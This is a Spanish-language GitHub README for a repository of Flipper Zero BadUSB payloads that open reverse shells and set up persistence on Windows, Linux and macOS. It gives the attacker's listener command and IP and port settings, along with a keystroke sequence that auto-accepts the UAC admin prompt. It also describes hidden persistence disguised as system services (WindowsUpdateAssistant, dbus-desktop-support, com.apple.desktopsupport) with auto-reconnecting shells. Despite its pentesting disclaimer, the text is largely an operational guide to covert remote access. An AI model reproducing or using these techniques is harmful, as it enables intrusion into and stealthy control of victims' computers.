Skip to content

amis13/FlipperZero

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 

Repository files navigation

Flipper Zero — BadUSB Payloads

Coleccion de payloads BadUSB para Flipper Zero con reverse shells y persistencia en Windows, Linux y macOS.

Todos los scripts usan WAIT_FOR_BUTTON_PRESS en lugar de DELAY para adaptarse a cualquier velocidad de PC. Tu controlas cuando avanza cada paso pulsando un boton del Flipper.


Estructura del repositorio

BadUSB/
├── Windows/
│   ├── reverse_shell.txt        # Shell con privilegios de admin (UAC)
│   └── persistent_shell.txt     # Shell persistente + tarea programada
├── Linux/
│   ├── reverse_shell.txt        # Shell con usuario loggeado
│   └── persistent_shell.txt     # Shell persistente + systemd service
└── macOS/
    ├── reverse_shell.txt        # Shell con usuario loggeado
    └── persistent_shell.txt     # Shell persistente + LaunchAgent

Requisitos

  • Flipper Zero con firmware compatible (v0.54+)
  • Listener en tu maquina atacante (nc, rlwrap nc, o similar)
  • Acceso fisico al equipo victima (el Flipper se conecta por USB)

Configuracion rapida

Cada script tiene una seccion >>> CONFIGURACION <<< donde defines IP y puerto en una sola linea. Solo necesitas cambiar esos valores antes de copiar el script al Flipper.

Windows (variable PowerShell en el paso 8):

STRING $ip='192.168.1.100'; $p=4444

Linux / macOS (variable bash en el paso 4 o 6):

STRING IP='192.168.1.100'; PORT=4444

Uso

1. Levantar el listener

En tu maquina atacante:

rlwrap nc -lvnp 4444

2. Cargar el payload en el Flipper

Copia el script .txt que necesites a la carpeta /badusb/ de la SD del Flipper Zero.

3. Ejecutar

Conecta el Flipper al equipo victima, abre la app BadUSB, selecciona el script y pulsa ejecutar. Sigue las instrucciones de cada WAIT_FOR_BUTTON_PRESS pulsando el boton del Flipper cuando corresponda.

4. Recibir la conexion

Connection received on 192.168.x.x 4444
whoami
usuario

Scripts disponibles

Windows

Script Privilegios Persistencia Descripcion
reverse_shell.txt Admin (UAC) No Abre Run, lanza PowerShell como admin aceptando UAC con LEFT+ENTER, ejecuta reverse shell oculta
persistent_shell.txt Admin (UAC) Tarea programada Igual que la anterior + crea payload en %ProgramData%\Microsoft\WindowsUpdate\ + registra WindowsUpdateAssistant con triggers AtStartup y AtLogOn

Elevacion UAC: Los scripts de Windows usan CTRL+SHIFT+ENTER desde el dialogo Ejecutar para solicitar permisos de admin, y luego LEFT+ENTER para aceptar el dialogo UAC (funciona en cualquier idioma).

Persistencia Windows:

  • Tarea programada WindowsUpdateAssistant con RunLevel Highest
  • Triggers: arranque del sistema + inicio de sesion
  • Payload oculto en %ProgramData%\Microsoft\WindowsUpdate\UpdateService.ps1
  • Directorio y archivo con atributos Hidden

Linux

Script Privilegios Persistencia Descripcion
reverse_shell.txt Usuario No Abre terminal con CTRL+ALT+T, lanza reverse shell con nohup + disown
persistent_shell.txt Usuario systemd user service Igual + crea servicio dbus-desktop-support.service con reconexion y linger

Persistencia Linux:

  • Servicio systemd de usuario dbus-desktop-support.service (nombre que se mimetiza con servicios del escritorio)
  • Restart=always + RestartSec=10 — systemd reinicia el proceso si muere
  • loginctl enable-linger — el servicio sigue corriendo aunque el usuario cierre sesion
  • Payload oculto en ~/.config/.update-service/.updater.sh

macOS

Script Privilegios Persistencia Descripcion
reverse_shell.txt Usuario No Abre Terminal via Spotlight (CMD+Space), lanza reverse shell con bash
persistent_shell.txt Usuario LaunchAgent Igual + crea plist com.apple.desktopsupport con KeepAlive y RunAtLoad

Notas macOS:

  • macOS usa zsh por defecto, pero los scripts usan bash -c explicitamente ya que /dev/tcp es una funcionalidad de bash
  • Terminal se abre via Spotlight (CMD+SpaceTerminalENTER)

Persistencia macOS:

  • LaunchAgent com.apple.desktopsupport.plist en ~/Library/LaunchAgents/
  • RunAtLoad: true — se ejecuta en cada inicio de sesion
  • KeepAlive: true — launchd reinicia el proceso automaticamente si muere
  • Se carga con launchctl load
  • Payload oculto en ~/.config/.update-service/.updater.sh

Comparativa entre plataformas

Windows Linux macOS
Abrir terminal GUI r (Ejecutar) CTRL+ALT+T CMD+Space (Spotlight)
Privilegios Admin via UAC Usuario Usuario
Metodo de persistencia Scheduled Task systemd user service LaunchAgent
Nombre del servicio WindowsUpdateAssistant dbus-desktop-support com.apple.desktopsupport
Reconexion Bucle en payload (30s) Bucle + systemd Restart Bucle + KeepAlive
Ubicacion del payload %ProgramData%\Microsoft\WindowsUpdate\ ~/.config/.update-service/ ~/.config/.update-service/

Flujo de WAIT_FOR_BUTTON_PRESS

En lugar de usar DELAY con tiempos fijos (que pueden fallar en PCs lentos o desperdiciar tiempo en PCs rapidos), todos los scripts usan WAIT_FOR_BUTTON_PRESS. El script se pausa y espera a que pulses un boton fisico del Flipper antes de continuar.

Ejemplo tipico:

WAIT_FOR_BUTTON_PRESS      ← PC listo
GUI r                       ← Abrir Run
WAIT_FOR_BUTTON_PRESS      ← Run visible
STRING powershell
CTRL-SHIFT ENTER            ← Pedir admin
WAIT_FOR_BUTTON_PRESS      ← UAC visible
LEFT
ENTER                       ← Aceptar UAC
WAIT_FOR_BUTTON_PRESS      ← PowerShell admin abierto
STRING $ip='...'; $p=...
ENTER
WAIT_FOR_BUTTON_PRESS      ← Variables definidas
STRING [payload...]
ENTER                       ← Ejecutar y cerrar

Disclaimer legal

Este proyecto es unicamente para fines educativos y de pentesting autorizado. No debes usar estos payloads contra sistemas en los que no tengas permiso expreso para realizar pruebas de seguridad.

El autor no se hace responsable del uso indebido que se realice de este material. Asegurate siempre de actuar de acuerdo con las leyes y regulaciones locales.


Licencia

Este proyecto se distribuye bajo la licencia MIT. Puedes modificarlo y redistribuirlo, siempre manteniendo este aviso y la atribucion al autor original.

By amis13

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors